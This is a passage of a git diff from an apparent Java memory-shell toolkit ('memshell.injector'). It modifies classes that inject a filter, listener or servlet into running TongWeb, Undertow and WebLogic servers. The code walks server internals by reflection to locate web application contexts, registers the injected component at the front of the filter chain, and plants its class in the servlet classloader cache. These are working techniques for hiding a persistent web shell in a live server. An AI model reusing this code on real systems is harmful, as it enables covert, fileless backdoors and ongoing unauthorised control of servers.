return method.invoke(obj instanceof Class ? null : obj, param);
|
|
||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
|
|||||||
@@ -35,7 +35,7 @@ public class TongWebValveInjector {
|
|||||||
} catch (Throwable throwable) {
|
} catch (Throwable throwable) {
|
||||||
msg += "context error: " + getErrorMessage(throwable);
|
msg += "context error: " + getErrorMessage(throwable);
|
||||||
}
|
}
|
||||||
if (contexts == null || contexts.isEmpty()) {
|
if (contexts == null) {
|
||||||
msg += "context not found";
|
msg += "context not found";
|
||||||
} else {
|
} else {
|
||||||
for (Object context : contexts) {
|
for (Object context : contexts) {
|
||||||
|
|||||||
@@ -7,10 +7,7 @@ import java.io.IOException;
|
|||||||
import java.io.PrintStream;
|
import java.io.PrintStream;
|
||||||
import java.lang.reflect.Field;
|
import java.lang.reflect.Field;
|
||||||
import java.lang.reflect.Method;
|
import java.lang.reflect.Method;
|
||||||
import java.util.HashMap;
|
import java.util.*;
|
||||||
import java.util.HashSet;
|
|
||||||
import java.util.Map;
|
|
||||||
import java.util.Set;
|
|
||||||
import java.util.zip.GZIPInputStream;
|
import java.util.zip.GZIPInputStream;
|
||||||
|
|
||||||
|
|
||||||
@@ -43,7 +40,7 @@ public class UndertowFilterInjector {
|
|||||||
} catch (Throwable throwable) {
|
} catch (Throwable throwable) {
|
||||||
msg += "context error: " + getErrorMessage(throwable);
|
msg += "context error: " + getErrorMessage(throwable);
|
||||||
}
|
}
|
||||||
if (contexts == null || contexts.isEmpty()) {
|
if (contexts == null) {
|
||||||
msg += "context not found";
|
msg += "context not found";
|
||||||
} else {
|
} else {
|
||||||
for (Object context : contexts) {
|
for (Object context : contexts) {
|
||||||
@@ -78,7 +75,6 @@ public class UndertowFilterInjector {
|
|||||||
return c + "(" + r + ")";
|
return c + "(" + r + ")";
|
||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings("Duplicates")
|
|
||||||
public Set<Object> getContext() throws Exception {
|
public Set<Object> getContext() throws Exception {
|
||||||
Set<Object> contexts = new HashSet<Object>();
|
Set<Object> contexts = new HashSet<Object>();
|
||||||
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||||
@@ -133,8 +129,6 @@ public class UndertowFilterInjector {
|
|||||||
Object managedFilters = invokeMethod(deploymentImpl, "getFilters", null, null);
|
Object managedFilters = invokeMethod(deploymentImpl, "getFilters", null, null);
|
||||||
invokeMethod(managedFilters, "addFilter", new Class[]{filterInfoClass}, new Object[]{filterInfo});
|
invokeMethod(managedFilters, "addFilter", new Class[]{filterInfoClass}, new Object[]{filterInfo});
|
||||||
invokeMethod(deploymentInfo, "insertFilterUrlMapping", new Class[]{int.class, String.class, String.class, DispatcherType.class}, new Object[]{0, getClassName(), getUrlPattern(), DispatcherType.REQUEST});
|
invokeMethod(deploymentInfo, "insertFilterUrlMapping", new Class[]{int.class, String.class, String.class, DispatcherType.class}, new Object[]{0, getClassName(), getUrlPattern(), DispatcherType.REQUEST});
|
||||||
// invalidate cache
|
|
||||||
invokeMethod(invokeMethod(deploymentImpl, "getServletPaths", null, null), "invalidate", null, null);
|
|
||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings("unchecked")
|
@SuppressWarnings("unchecked")
|
||||||
@@ -219,25 +213,30 @@ public class UndertowFilterInjector {
|
|||||||
|
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
|
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) {
|
||||||
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
|
try {
|
||||||
Method method = null;
|
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
|
||||||
while (clazz != null && method == null) {
|
Method method = null;
|
||||||
try {
|
while (clazz != null && method == null) {
|
||||||
if (paramClazz == null) {
|
try {
|
||||||
method = clazz.getDeclaredMethod(methodName);
|
if (paramClazz == null) {
|
||||||
} else {
|
method = clazz.getDeclaredMethod(methodName);
|
||||||
method = clazz.getDeclaredMethod(methodName, paramClazz);
|
} else {
|
||||||
|
method = clazz.getDeclaredMethod(methodName, paramClazz);
|
||||||
|
}
|
||||||
|
} catch (NoSuchMethodException e) {
|
||||||
|
clazz = clazz.getSuperclass();
|
||||||
}
|
}
|
||||||
} catch (NoSuchMethodException e) {
|
|
||||||
clazz = clazz.getSuperclass();
|
|
||||||
}
|
}
|
||||||
|
if (method == null) {
|
||||||
|
throw new NoSuchMethodException("Method not found: " + methodName);
|
||||||
|
}
|
||||||
|
|
||||||
|
method.setAccessible(true);
|
||||||
|
return method.invoke(obj instanceof Class ? null : obj, param);
|
||||||
|
} catch (Exception e) {
|
||||||
|
throw new RuntimeException("Error invoking method: " + methodName, e);
|
||||||
}
|
}
|
||||||
if (method == null) {
|
|
||||||
throw new NoSuchMethodException("Method not found: " + methodName);
|
|
||||||
}
|
|
||||||
method.setAccessible(true);
|
|
||||||
return method.invoke(obj instanceof Class ? null : obj, param);
|
|
||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
|
|||||||
@@ -5,7 +5,9 @@ import java.io.ByteArrayOutputStream;
|
|||||||
import java.io.IOException;
|
import java.io.IOException;
|
||||||
import java.io.PrintStream;
|
import java.io.PrintStream;
|
||||||
import java.lang.reflect.Field;
|
import java.lang.reflect.Field;
|
||||||
|
import java.lang.reflect.InvocationTargetException;
|
||||||
import java.lang.reflect.Method;
|
import java.lang.reflect.Method;
|
||||||
|
import java.util.ArrayList;
|
||||||
import java.util.HashSet;
|
import java.util.HashSet;
|
||||||
import java.util.List;
|
import java.util.List;
|
||||||
import java.util.Set;
|
import java.util.Set;
|
||||||
@@ -38,7 +40,7 @@ public class UndertowListenerInjector {
|
|||||||
} catch (Throwable throwable) {
|
} catch (Throwable throwable) {
|
||||||
msg += "context error: " + getErrorMessage(throwable);
|
msg += "context error: " + getErrorMessage(throwable);
|
||||||
}
|
}
|
||||||
if (contexts == null || contexts.isEmpty()) {
|
if (contexts == null) {
|
||||||
msg += "context not found";
|
msg += "context not found";
|
||||||
} else {
|
} else {
|
||||||
for (Object context : contexts) {
|
for (Object context : contexts) {
|
||||||
@@ -189,25 +191,30 @@ public class UndertowListenerInjector {
|
|||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
|
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) {
|
||||||
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
|
try {
|
||||||
Method method = null;
|
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
|
||||||
while (clazz != null && method == null) {
|
Method method = null;
|
||||||
try {
|
while (clazz != null && method == null) {
|
||||||
if (paramClazz == null) {
|
try {
|
||||||
method = clazz.getDeclaredMethod(methodName);
|
if (paramClazz == null) {
|
||||||
} else {
|
method = clazz.getDeclaredMethod(methodName);
|
||||||
method = clazz.getDeclaredMethod(methodName, paramClazz);
|
} else {
|
||||||
|
method = clazz.getDeclaredMethod(methodName, paramClazz);
|
||||||
|
}
|
||||||
|
} catch (NoSuchMethodException e) {
|
||||||
|
clazz = clazz.getSuperclass();
|
||||||
}
|
}
|
||||||
} catch (NoSuchMethodException e) {
|
|
||||||
clazz = clazz.getSuperclass();
|
|
||||||
}
|
}
|
||||||
|
if (method == null) {
|
||||||
|
throw new NoSuchMethodException("Method not found: " + methodName);
|
||||||
|
}
|
||||||
|
|
||||||
|
method.setAccessible(true);
|
||||||
|
return method.invoke(obj instanceof Class ? null : obj, param);
|
||||||
|
} catch (Exception e) {
|
||||||
|
throw new RuntimeException("Error invoking method: " + methodName, e);
|
||||||
}
|
}
|
||||||
if (method == null) {
|
|
||||||
throw new NoSuchMethodException("Method not found: " + methodName);
|
|
||||||
}
|
|
||||||
method.setAccessible(true);
|
|
||||||
return method.invoke(obj instanceof Class ? null : obj, param);
|
|
||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
|
|||||||
@@ -5,8 +5,11 @@ import java.io.ByteArrayOutputStream;
|
|||||||
import java.io.IOException;
|
import java.io.IOException;
|
||||||
import java.io.PrintStream;
|
import java.io.PrintStream;
|
||||||
import java.lang.reflect.Field;
|
import java.lang.reflect.Field;
|
||||||
|
import java.lang.reflect.InvocationTargetException;
|
||||||
import java.lang.reflect.Method;
|
import java.lang.reflect.Method;
|
||||||
|
import java.util.ArrayList;
|
||||||
import java.util.HashSet;
|
import java.util.HashSet;
|
||||||
|
import java.util.List;
|
||||||
import java.util.Set;
|
import java.util.Set;
|
||||||
import java.util.zip.GZIPInputStream;
|
import java.util.zip.GZIPInputStream;
|
||||||
|
|
||||||
@@ -41,7 +44,7 @@ public class UndertowServletInjector {
|
|||||||
} catch (Throwable throwable) {
|
} catch (Throwable throwable) {
|
||||||
msg += "context error: " + getErrorMessage(throwable);
|
msg += "context error: " + getErrorMessage(throwable);
|
||||||
}
|
}
|
||||||
if (contexts == null || contexts.isEmpty()) {
|
if (contexts == null) {
|
||||||
msg += "context not found";
|
msg += "context not found";
|
||||||
} else {
|
} else {
|
||||||
for (Object context : contexts) {
|
for (Object context : contexts) {
|
||||||
@@ -210,25 +213,30 @@ public class UndertowServletInjector {
|
|||||||
|
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
|
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) {
|
||||||
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
|
try {
|
||||||
Method method = null;
|
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
|
||||||
while (clazz != null && method == null) {
|
Method method = null;
|
||||||
try {
|
while (clazz != null && method == null) {
|
||||||
if (paramClazz == null) {
|
try {
|
||||||
method = clazz.getDeclaredMethod(methodName);
|
if (paramClazz == null) {
|
||||||
} else {
|
method = clazz.getDeclaredMethod(methodName);
|
||||||
method = clazz.getDeclaredMethod(methodName, paramClazz);
|
} else {
|
||||||
|
method = clazz.getDeclaredMethod(methodName, paramClazz);
|
||||||
|
}
|
||||||
|
} catch (NoSuchMethodException e) {
|
||||||
|
clazz = clazz.getSuperclass();
|
||||||
}
|
}
|
||||||
} catch (NoSuchMethodException e) {
|
|
||||||
clazz = clazz.getSuperclass();
|
|
||||||
}
|
}
|
||||||
|
if (method == null) {
|
||||||
|
throw new NoSuchMethodException("Method not found: " + methodName);
|
||||||
|
}
|
||||||
|
|
||||||
|
method.setAccessible(true);
|
||||||
|
return method.invoke(obj instanceof Class ? null : obj, param);
|
||||||
|
} catch (Exception e) {
|
||||||
|
throw new RuntimeException("Error invoking method: " + methodName, e);
|
||||||
}
|
}
|
||||||
if (method == null) {
|
|
||||||
throw new NoSuchMethodException("Method not found: " + methodName);
|
|
||||||
}
|
|
||||||
method.setAccessible(true);
|
|
||||||
return method.invoke(obj instanceof Class ? null : obj, param);
|
|
||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
|
|||||||
@@ -1,17 +1,13 @@
|
|||||||
package com.reajason.javaweb.memshell.injector.weblogic;
|
package com.reajason.javaweb.memshell.injector.weblogic;
|
||||||
|
|
||||||
import javax.management.MBeanServer;
|
|
||||||
import java.io.ByteArrayInputStream;
|
import java.io.ByteArrayInputStream;
|
||||||
import java.io.ByteArrayOutputStream;
|
import java.io.ByteArrayOutputStream;
|
||||||
import java.io.IOException;
|
import java.io.IOException;
|
||||||
import java.io.PrintStream;
|
import java.io.PrintStream;
|
||||||
import java.lang.management.ManagementFactory;
|
import java.lang.reflect.Array;
|
||||||
import java.lang.reflect.Field;
|
import java.lang.reflect.Field;
|
||||||
import java.lang.reflect.Method;
|
import java.lang.reflect.Method;
|
||||||
import java.util.HashSet;
|
import java.util.*;
|
||||||
import java.util.List;
|
|
||||||
import java.util.Map;
|
|
||||||
import java.util.Set;
|
|
||||||
import java.util.zip.GZIPInputStream;
|
import java.util.zip.GZIPInputStream;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
@@ -44,7 +40,7 @@ public class WebLogicFilterInjector {
|
|||||||
} catch (Throwable throwable) {
|
} catch (Throwable throwable) {
|
||||||
msg += "context error: " + getErrorMessage(throwable);
|
msg += "context error: " + getErrorMessage(throwable);
|
||||||
}
|
}
|
||||||
if (contexts == null || contexts.isEmpty()) {
|
if (contexts == null) {
|
||||||
msg += "context not found";
|
msg += "context not found";
|
||||||
} else {
|
} else {
|
||||||
for (Object context : contexts) {
|
for (Object context : contexts) {
|
||||||
@@ -79,38 +75,93 @@ public class WebLogicFilterInjector {
|
|||||||
return c + "(" + r + ")";
|
return c + "(" + r + ")";
|
||||||
}
|
}
|
||||||
|
|
||||||
|
public static Object[] getContextsByMbean() throws Throwable {
|
||||||
|
Set<Object> webappContexts = new HashSet<Object>();
|
||||||
|
Class<?> serverRuntimeClass = Class.forName("weblogic.t3.srvr.ServerRuntime");
|
||||||
|
Class<?> webAppServletContextClass = Class.forName("weblogic.servlet.internal.WebAppServletContext");
|
||||||
|
Method theOneMethod = serverRuntimeClass.getMethod("theOne");
|
||||||
|
theOneMethod.setAccessible(true);
|
||||||
|
Object serverRuntime = theOneMethod.invoke(null);
|
||||||
|
Method getApplicationRuntimesMethod = serverRuntime.getClass().getMethod("getApplicationRuntimes");
|
||||||
|
getApplicationRuntimesMethod.setAccessible(true);
|
||||||
|
Object applicationRuntimes = getApplicationRuntimesMethod.invoke(serverRuntime);
|
||||||
|
int applicationRuntimeSize = Array.getLength(applicationRuntimes);
|
||||||
|
for (int i = 0; i < applicationRuntimeSize; i++) {
|
||||||
|
Object applicationRuntime = Array.get(applicationRuntimes, i);
|
||||||
|
try {
|
||||||
|
Method getComponentRuntimesMethod = applicationRuntime.getClass().getMethod("getComponentRuntimes");
|
||||||
|
Object componentRuntimes = getComponentRuntimesMethod.invoke(applicationRuntime);
|
||||||
|
int componentRuntimeSize = Array.getLength(componentRuntimes);
|
||||||
|
for (int j = 0; j < componentRuntimeSize; j++) {
|
||||||
|
Object context = getFieldValue(Array.get(componentRuntimes, j), "context");
|
||||||
|
if (webAppServletContextClass.isInstance(context)) {
|
||||||
|
webappContexts.add(context);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
} catch (Throwable ignored) {
|
||||||
|
}
|
||||||
|
|
||||||
|
try {
|
||||||
|
Set<Object> childrenSet = (Set<Object>) getFieldValue(applicationRuntime, "children");
|
||||||
|
for (Object componentRuntime : childrenSet) {
|
||||||
|
try {
|
||||||
|
Object context = getFieldValue(componentRuntime, "context");
|
||||||
|
if (webAppServletContextClass.isInstance(context)) {
|
||||||
|
webappContexts.add(context);
|
||||||
|
}
|
||||||
|
} catch (Throwable ignored) {
|
||||||
|
}
|
||||||
|
}
|
||||||
|
} catch (Throwable ignored) {
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return webappContexts.toArray();
|
||||||
|
}
|
||||||
|
|
||||||
|
public static Object[] getContextsByThreads() throws Throwable {
|
||||||
|
Set<Object> webappContexts = new HashSet<Object>();
|
||||||
|
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||||
|
for (Thread thread : threads) {
|
||||||
|
if (thread != null) {
|
||||||
|
Object workEntry = getFieldValue(thread, "workEntry");
|
||||||
|
if (workEntry != null) {
|
||||||
|
try {
|
||||||
|
Object context = null;
|
||||||
|
Object connectionHandler = getFieldValue(workEntry, "connectionHandler");
|
||||||
|
if (connectionHandler != null) {
|
||||||
|
Object request = getFieldValue(connectionHandler, "request");
|
||||||
|
if (request != null) {
|
||||||
|
context = getFieldValue(request, "context");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if (context == null) {
|
||||||
|
context = getFieldValue(workEntry, "context");
|
||||||
|
}
|
||||||
|
|
||||||
|
if (context != null) {
|
||||||
|
webappContexts.add(context);
|
||||||
|
}
|
||||||
|
} catch (Throwable ignored) {
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return webappContexts.toArray();
|
||||||
|
}
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* weblogic.servlet.internal.WebAppServletContext
|
* weblogic.servlet.internal.WebAppServletContext
|
||||||
* /opt/oracle/wls1036/server/lib/weblogic.jar
|
* /opt/oracle/wls1036/server/lib/weblogic.jar
|
||||||
* /u01/oracle/wlserver/modules/com.oracle.weblogic.servlet.jar
|
* /u01/oracle/wlserver/modules/com.oracle.weblogic.servlet.jar
|
||||||
*/
|
*/
|
||||||
public static Set<Object> getContext() throws Exception {
|
public static Set<Object> getContext() {
|
||||||
Set<Object> webappContexts = new HashSet<Object>();
|
Set<Object> webappContexts = new HashSet<Object>();
|
||||||
MBeanServer platformMBeanServer = ManagementFactory.getPlatformMBeanServer();
|
try {
|
||||||
Map<String, Object> objectsByObjectName = (Map<String, Object>) getFieldValue(platformMBeanServer, "objectsByObjectName");
|
webappContexts.addAll(Arrays.asList(getContextsByMbean()));
|
||||||
for (Map.Entry<String, Object> entry : objectsByObjectName.entrySet()) {
|
} catch (Throwable ignored) {
|
||||||
String key = entry.getKey();
|
|
||||||
if (key.contains("Type=WebAppComponentRuntime")) {
|
|
||||||
Object value = entry.getValue();
|
|
||||||
Object managedResource = getFieldValue(value, "managedResource");
|
|
||||||
if (managedResource != null && managedResource.getClass().getSimpleName().equals("WebAppRuntimeMBeanImpl")) {
|
|
||||||
webappContexts.add(getFieldValue(managedResource, "context"));
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
try {
|
try {
|
||||||
Object workEntry = getFieldValue(Thread.currentThread(), "workEntry");
|
webappContexts.addAll(Arrays.asList(getContextsByThreads()));
|
||||||
Object request = null;
|
|
||||||
try {
|
|
||||||
Object connectionHandler = getFieldValue(workEntry, "connectionHandler");
|
|
||||||
request = getFieldValue(connectionHandler, "request");
|
|
||||||
} catch (Exception x) {
|
|
||||||
// WebLogic 10.3.6
|
|
||||||
request = workEntry;
|
|
||||||
}
|
|
||||||
if (request != null) {
|
|
||||||
webappContexts.add(getFieldValue(request, "context"));
|
|
||||||
}
|
|
||||||
} catch (Throwable ignored) {
|
} catch (Throwable ignored) {
|
||||||
}
|
}
|
||||||
return webappContexts;
|
return webappContexts;
|
||||||
@@ -142,14 +193,20 @@ public class WebLogicFilterInjector {
|
|||||||
|
|
||||||
@SuppressWarnings("unchecked")
|
@SuppressWarnings("unchecked")
|
||||||
public void inject(Object context, Object filter) throws Exception {
|
public void inject(Object context, Object filter) throws Exception {
|
||||||
Object filterManager = invokeMethod(context, "getFilterManager", null, null);
|
Map filters = (Map) getFieldValue(getFieldValue(context, "filterManager"), "filters");
|
||||||
if (((Map) getFieldValue(filterManager, "filters")).containsKey(getClassName())) {
|
for (Object obj : filters.keySet()) {
|
||||||
|
if (obj.toString().contains(getClassName())) {
|
||||||
return;
|
return;
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
Object filterManager = invokeMethod(context, "getFilterManager", null, null);
|
||||||
|
Object servletClassLoader = invokeMethod(context, "getServletClassLoader", null, null);
|
||||||
|
Map<String, Class<?>> cachedClasses = (Map<String, Class<?>>) getFieldValue(servletClassLoader, "cachedClasses");
|
||||||
|
cachedClasses.put(getClassName(), filter.getClass());
|
||||||
invokeMethod(filterManager, "registerFilter", new Class[]{String.class, String.class, String[].class, String[].class, Map.class, String[].class}, new Object[]{getClassName(), getClassName(), new String[]{getUrlPattern()}, null, null, new String[]{"REQUEST", "FORWARD", "INCLUDE", "ERROR"}});
|
invokeMethod(filterManager, "registerFilter", new Class[]{String.class, String.class, String[].class, String[].class, Map.class, String[].class}, new Object[]{getClassName(), getClassName(), new String[]{getUrlPattern()}, null, null, new String[]{"REQUEST", "FORWARD", "INCLUDE", "ERROR"}});
|
||||||
List<Object> filterPatternList = (List<Object>) getFieldValue(filterManager, "filterPatternList");
|
List<Object> filterPatternList = (List<Object>) getFieldValue(filterManager, "filterPatternList");
|
||||||
Object curFilterInfo = filterPatternList.remove(filterPatternList.size() - 1);
|
Object currentMapping = filterPatternList.remove(filterPatternList.size() - 1);
|
||||||
filterPatternList.add(0, curFilterInfo);
|
filterPatternList.add(0, currentMapping);
|
||||||
}
|
}
|
||||||
|
|
||||||
@Override
|
@Override
|
||||||
@@ -191,25 +248,30 @@ public class WebLogicFilterInjector {
|
|||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
|
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) {
|
||||||
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
|
try {
|
||||||
Method method = null;
|
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
|
||||||
while (clazz != null && method == null) {
|
Method method = null;
|
||||||
try {
|
while (clazz != null && method == null) {
|
||||||
if (paramClazz == null) {
|
try {
|
||||||
method = clazz.getDeclaredMethod(methodName);
|
if (paramClazz == null) {
|
||||||
} else {
|
method = clazz.getDeclaredMethod(methodName);
|
||||||
method = clazz.getDeclaredMethod(methodName, paramClazz);
|
} else {
|
||||||
|
method = clazz.getDeclaredMethod(methodName, paramClazz);
|
||||||
|
}
|
||||||
|
} catch (NoSuchMethodException e) {
|
||||||
|
clazz = clazz.getSuperclass();
|
||||||
}
|
}
|
||||||
} catch (NoSuchMethodException e) {
|
|
||||||
clazz = clazz.getSuperclass();
|
|
||||||
}
|
}
|
||||||
|
if (method == null) {
|
||||||
|
throw new NoSuchMethodException("Method not found: " + methodName);
|
||||||
|
}
|
||||||
|
|
||||||
|
method.setAccessible(true);
|
||||||
|
return method.invoke(obj instanceof Class ? null : obj, param);
|
||||||
|
} catch (Exception e) {
|
||||||
|
throw new RuntimeException("Error invoking method: " + methodName, e);
|
||||||
}
|
}
|
||||||
if (method == null) {
|
|
||||||
throw new NoSuchMethodException("Method not found: " + methodName);
|
|
||||||
}
|
|
||||||
method.setAccessible(true);
|
|
||||||
return method.invoke(obj instanceof Class ? null : obj, param);
|
|
||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
|
|||||||
@@ -1,16 +1,15 @@
|
|||||||
package com.reajason.javaweb.memshell.injector.weblogic;
|
package com.reajason.javaweb.memshell.injector.weblogic;
|
||||||
|
|
||||||
import javax.management.MBeanServer;
|
|
||||||
import java.io.ByteArrayInputStream;
|
import java.io.ByteArrayInputStream;
|
||||||
import java.io.ByteArrayOutputStream;
|
import java.io.ByteArrayOutputStream;
|
||||||
import java.io.IOException;
|
import java.io.IOException;
|
||||||
import java.io.PrintStream;
|
import java.io.PrintStream;
|
||||||
import java.lang.management.ManagementFactory;
|
import java.lang.reflect.Array;
|
||||||
import java.lang.reflect.Field;
|
import java.lang.reflect.Field;
|
||||||
import java.lang.reflect.Method;
|
import java.lang.reflect.Method;
|
||||||
|
import java.util.Arrays;
|
||||||
import java.util.HashSet;
|
import java.util.HashSet;
|
||||||
import java.util.List;
|
import java.util.List;
|
||||||
import java.util.Map;
|
|
||||||
import java.util.Set;
|
import java.util.Set;
|
||||||
import java.util.zip.GZIPInputStream;
|
import java.util.zip.GZIPInputStream;
|
||||||
|
|
||||||
@@ -41,7 +40,7 @@ public class WebLogicListenerInjector {
|
|||||||
} catch (Throwable throwable) {
|
} catch (Throwable throwable) {
|
||||||
msg += "context error: " + getErrorMessage(throwable);
|
msg += "context error: " + getErrorMessage(throwable);
|
||||||
}
|
}
|
||||||
if (contexts == null || contexts.isEmpty()) {
|
if (contexts == null) {
|
||||||
msg += "context not found";
|
msg += "context not found";
|
||||||
} else {
|
} else {
|
||||||
for (Object context : contexts) {
|
for (Object context : contexts) {
|
||||||
@@ -76,39 +75,88 @@ public class WebLogicListenerInjector {
|
|||||||
return c + "(" + r + ")";
|
return c + "(" + r + ")";
|
||||||
}
|
}
|
||||||
|
|
||||||
|
static Object[] getContextsByMbean() throws Throwable {
|
||||||
/**
|
|
||||||
* weblogic.servlet.internal.WebAppServletContext
|
|
||||||
* /opt/oracle/wls1036/server/lib/weblogic.jar
|
|
||||||
* /u01/oracle/wlserver/modules/com.oracle.weblogic.servlet.jar
|
|
||||||
*/
|
|
||||||
public static Set<Object> getContext() throws Exception {
|
|
||||||
Set<Object> webappContexts = new HashSet<Object>();
|
Set<Object> webappContexts = new HashSet<Object>();
|
||||||
MBeanServer platformMBeanServer = ManagementFactory.getPlatformMBeanServer();
|
Class<?> serverRuntimeClass = Class.forName("weblogic.t3.srvr.ServerRuntime");
|
||||||
Map<String, Object> objectsByObjectName = (Map<String, Object>) getFieldValue(platformMBeanServer, "objectsByObjectName");
|
Class<?> webAppServletContextClass = Class.forName("weblogic.servlet.internal.WebAppServletContext");
|
||||||
for (Map.Entry<String, Object> entry : objectsByObjectName.entrySet()) {
|
Method theOneMethod = serverRuntimeClass.getMethod("theOne");
|
||||||
String key = entry.getKey();
|
theOneMethod.setAccessible(true);
|
||||||
if (key.contains("Type=WebAppComponentRuntime")) {
|
Object serverRuntime = theOneMethod.invoke(null);
|
||||||
Object value = entry.getValue();
|
Method getApplicationRuntimesMethod = serverRuntime.getClass().getMethod("getApplicationRuntimes");
|
||||||
Object managedResource = getFieldValue(value, "managedResource");
|
getApplicationRuntimesMethod.setAccessible(true);
|
||||||
if (managedResource != null && managedResource.getClass().getSimpleName().equals("WebAppRuntimeMBeanImpl")) {
|
Object applicationRuntimes = getApplicationRuntimesMethod.invoke(serverRuntime);
|
||||||
webappContexts.add(getFieldValue(managedResource, "context"));
|
int applicationRuntimeSize = Array.getLength(applicationRuntimes);
|
||||||
|
for (int i = 0; i < applicationRuntimeSize; i++) {
|
||||||
|
Object applicationRuntime = Array.get(applicationRuntimes, i);
|
||||||
|
try {
|
||||||
|
Method getComponentRuntimesMethod = applicationRuntime.getClass().getMethod("getComponentRuntimes");
|
||||||
|
Object componentRuntimes = getComponentRuntimesMethod.invoke(applicationRuntime);
|
||||||
|
int componentRuntimeSize = Array.getLength(componentRuntimes);
|
||||||
|
for (int j = 0; j < componentRuntimeSize; j++) {
|
||||||
|
Object context = getFieldValue(Array.get(componentRuntimes, j), "context");
|
||||||
|
if (webAppServletContextClass.isInstance(context)) {
|
||||||
|
webappContexts.add(context);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
} catch (Throwable ignored) {
|
||||||
|
}
|
||||||
|
|
||||||
|
try {
|
||||||
|
Set<Object> childrenSet = (Set<Object>) getFieldValue(applicationRuntime, "children");
|
||||||
|
for (Object componentRuntime : childrenSet) {
|
||||||
|
try {
|
||||||
|
Object context = getFieldValue(componentRuntime, "context");
|
||||||
|
if (webAppServletContextClass.isInstance(context)) {
|
||||||
|
webappContexts.add(context);
|
||||||
|
}
|
||||||
|
} catch (Throwable ignored) {
|
||||||
|
}
|
||||||
|
}
|
||||||
|
} catch (Throwable ignored) {
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return webappContexts.toArray();
|
||||||
|
}
|
||||||
|
|
||||||
|
public static Object[] getContextsByThreads() throws Throwable {
|
||||||
|
Set<Object> webappContexts = new HashSet<Object>();
|
||||||
|
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||||
|
for (Thread thread : threads) {
|
||||||
|
if (thread != null) {
|
||||||
|
Object workEntry = getFieldValue(thread, "workEntry");
|
||||||
|
if (workEntry != null) {
|
||||||
|
try {
|
||||||
|
Object context = null;
|
||||||
|
Object connectionHandler = getFieldValue(workEntry, "connectionHandler");
|
||||||
|
if (connectionHandler != null) {
|
||||||
|
Object request = getFieldValue(connectionHandler, "request");
|
||||||
|
if (request != null) {
|
||||||
|
context = getFieldValue(request, "context");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if (context == null) {
|
||||||
|
context = getFieldValue(workEntry, "context");
|
||||||
|
}
|
||||||
|
|
||||||
|
if (context != null) {
|
||||||
|
webappContexts.add(context);
|
||||||
|
}
|
||||||
|
} catch (Throwable ignored) {
|
||||||
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
return webappContexts.toArray();
|
||||||
|
}
|
||||||
|
|
||||||
|
public static Set<Object> getContext() {
|
||||||
|
Set<Object> webappContexts = new HashSet<Object>();
|
||||||
try {
|
try {
|
||||||
Object workEntry = getFieldValue(Thread.currentThread(), "workEntry");
|
webappContexts.addAll(Arrays.asList(getContextsByMbean()));
|
||||||
Object request = null;
|
} catch (Throwable ignored) {
|
||||||
try {
|
}
|
||||||
Object connectionHandler = getFieldValue(workEntry, "connectionHandler");
|
try {
|
||||||
request = getFieldValue(connectionHandler, "request");
|
webappContexts.addAll(Arrays.asList(getContextsByThreads()));
|
||||||
} catch (Exception x) {
|
|
||||||
// WebLogic 10.3.6
|
|
||||||
request = workEntry;
|
|
||||||
}
|
|
||||||
if (request != null) {
|
|
||||||
webappContexts.add(getFieldValue(request, "context"));
|
|
||||||
}
|
|
||||||
} catch (Throwable ignored) {
|
} catch (Throwable ignored) {
|
||||||
}
|
}
|
||||||
return webappContexts;
|
return webappContexts;
|
||||||
|
|||||||
